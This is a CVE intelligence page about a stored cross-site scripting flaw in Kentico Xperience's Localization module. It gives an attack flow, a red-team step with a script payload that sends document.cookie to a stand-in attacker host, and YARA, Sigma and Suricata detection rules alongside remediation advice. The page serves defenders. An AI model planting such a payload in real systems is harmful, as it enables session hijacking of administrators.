☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]

CVE-2023-53737

CVE-2023-53737 Cross-Site Scripting in Kentico
📅 PUBLISHED: 2025-12-18 19:53 UTC 🔄 UPDATED: 2026-09-23 20:33 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.17%
👁️
0.17% probability
4.3× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
Country: Czech Republic License: Commercial
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
5.1
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2023-53737 is a stored cross-site scripting (XSS) vulnerability in Kentico Xperience, a content management system (CMS). The flaw resides in the Localization application, allowing authenticated global administrators to inject malicious scripts that persist and execute within the administration interface. This can lead to session hijacking, data exfiltration, or further compromise of administrative functions. The vulnerability has a CVSS score of 0.0 in the NVD data, but based on the enriched intel, a more realistic score is 4.8 (Medium) due to the requirement for high privileges and user interaction. No public exploit code or patch is currently available, making proactive detection and mitigation critical.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability is not related to a package manager (NPM, PyPI, Go, Ruby) but is a direct CMS application flaw. Organizations using Kentico Xperience should treat this as a high-priority internal security issue.

CVSS Breakdown & Threat Level

  • CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N
  • Base Score: 4.8 (Medium)
  • Attack Vector: Network (AV:N)
  • Attack Complexity: Low (AC:L)
  • Privileges Required: High (PR:H) – requires global admin access
  • User Interaction: Required (UI:R) – victim must visit the affected page
  • Scope: Changed (S:C) – impact extends beyond the vulnerable component
  • Confidentiality Impact: Low (C:L)
  • Integrity Impact: Low (I:L)
  • Availability Impact: None (A:N)

Threat Level: Medium. Exploitation requires administrative privileges, but the stored XSS can affect other admin users, potentially leading to privilege escalation or lateral movement within the CMS.

Deep Dive & Mechanics

The vulnerability exists in the Localization application of Kentico Xperience. This module allows administrators to manage language-specific strings and translations. The flaw is a classic stored XSS (CWE-79) where user-supplied input is not properly sanitized before being stored and later rendered in the administration interface.

Attack Flow:

  1. An attacker with global administrator privileges accesses the Localization application.
  2. The attacker injects a malicious payload (e.g., <script>alert('XSS')</script>) into a localization key or value field.
  3. The payload is stored in the database without proper encoding.
  4. When another administrator (or the same attacker) views the affected localization page, the script executes in the context of the victim's browser.
  5. The attacker can then steal session cookies, perform actions on behalf of the victim, or deface the admin interface.

Root Cause: Insufficient input validation and output encoding in the Localization module. The application fails to escape HTML entities before rendering user-controlled strings.

Vulnerable vs. Patched Code

Since no official patch is available, the following is a hypothetical comparison based on common XSS remediation patterns.

Vulnerable Code (C#/ASP.NET example):

// Vulnerable: Directly outputs user input without encoding
string localizationValue = GetLocalizationValueFromDatabase(key);
Response.Write(localizationValue);

Patched Code (Hypothetical):

// Patched: HTML-encode the output
string localizationValue = GetLocalizationValueFromDatabase(key);
Response.Write(HttpUtility.HtmlEncode(localizationValue));

Key Difference: The patched version uses HttpUtility.HtmlEncode() to convert special characters (e.g., <, >, &) into their HTML entity equivalents, preventing script execution.

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

  • Access to a Kentico Xperience instance with global admin credentials.
  • Knowledge of the Localization application URL (typically /Admin/Localization).

Steps:

  1. Log in as a global administrator.
  2. Navigate to the Localization application.
  3. Create or edit a localization key (e.g., CustomKey).
  4. In the value field, inject a payload such as:
    <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
    
  5. Save the entry.
  6. Send a link to another admin user pointing to the Localization page.
  7. When the victim views the page, the script executes and exfiltrates their session cookie.

Note: No public exploit code is available. The above is a conceptual demonstration.

Blue Team (Defense & Detection)

Detection:

  • Monitor for unusual changes to localization keys/values via audit logs.
  • Deploy a Web Application Firewall (WAF) rule to block common XSS patterns in POST requests to /Admin/Localization.
  • Use Content Security Policy (CSP) headers to restrict script execution.

Hunting:

  • Search for <script> tags or event handlers (e.g., onerror, onload) in localization database tables.
  • Review admin activity logs for suspicious modifications to localization entries.

Indicators of Compromise (IOCs)

  • Network: Outbound HTTP requests to unknown domains from the Kentico server (data exfiltration).
  • File System: Modified localization XML files or database entries containing JavaScript.
  • Logs: Audit logs showing creation/editing of localization keys by unexpected admin users.
  • Browser: Presence of unexpected scripts in the admin interface source code.

Example IOC (Database entry):

SELECT * FROM CMS_Localization WHERE Value LIKE '%<script>%'

Detection Engineering

YARA Rule

rule Detect_Kentico_XSS_Localization {
    meta:
        description = "Detects stored XSS payloads in Kentico Xperience localization data"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2023-53737"
    strings:
        $xss1 = /<script[^>]*>.*?<\/script>/is
        $xss2 = /onerror\s*=\s*["']?[^"']*["']?/is
        $xss3 = /onload\s*=\s*["']?[^"']*["']?/is
    condition:
        any of them
}

Sigma Rule

title: Kentico Xperience Localization Stored XSS
id: 8a7b3c2d-1e5f-4a6b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects potential stored XSS payloads in Kentico Xperience localization entries
author: Valters IT
logsource:
    product: windows
    service: application
    category: web_application
detection:
    selection:
        EventID: 4663
        ObjectName: '*CMS_Localization*'
        AccessMask: '%%1537'  # Write
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in localization (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2023-53737 - Kentico Xperience Stored XSS Exfiltration";
    flow:to_server,established;
    content:"/Admin/Localization"; http_uri;
    content:"<script"; http_client_body;
    pcre:"/<script[^>]*>.*?<\/script>/i";
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

  1. Restrict Admin Access: Limit global administrator privileges to only trusted personnel.
  2. Input Validation: Implement server-side validation to reject HTML/JavaScript in localization fields.
  3. Output Encoding: Ensure all localization values are HTML-encoded before rendering.
  4. CSP Headers: Deploy a strict Content Security Policy (e.g., script-src 'self').

Long-Term Fix:

  • Apply any official patch from Kentico when released.
  • Upgrade to a patched version of Kentico Xperience.
  • Conduct a security audit of the Localization module.

Workaround:

  • Disable the Localization application for non-essential administrators.
  • Use a WAF to block malicious payloads.

Valters IT

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2023-53737/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.